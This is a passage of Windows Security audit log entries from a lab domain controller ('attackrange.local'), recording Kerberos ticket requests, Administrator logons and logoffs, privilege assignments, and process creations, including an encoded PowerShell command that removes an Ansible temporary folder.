Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250611
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1149A3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250610
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1149A3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250609
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1149A3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250608
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250607
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250606
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250605
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x114301

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250604
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113986

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250603
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x112531

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250602
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1104
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBEA9.tmp" "c:\Users\Administrator\AppData\Local\Temp\2qehzyd4\CSC86CFC5DF1C644F0B629A17CD4A33ED8.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250719
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B3B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250718
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250717
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1106BE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250716
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x112326

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250715
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1149BF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250714
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x117455

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250713
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1158E3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250712
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B3B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250711
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B3B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250710
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250709
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250708
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250707
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B1F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250706
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B1F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250705
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B1F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250704
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250703
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250702
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250701
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x117645

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250700
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1284
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1350
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA1ADIALgA2ADcAMQAyADUANAAtADIANgAwADYAMwA1ADYANAAyADEAOAA5ADEANQA1ACIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAGMAdQByAHMAZQA7AAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250699
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x117645

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
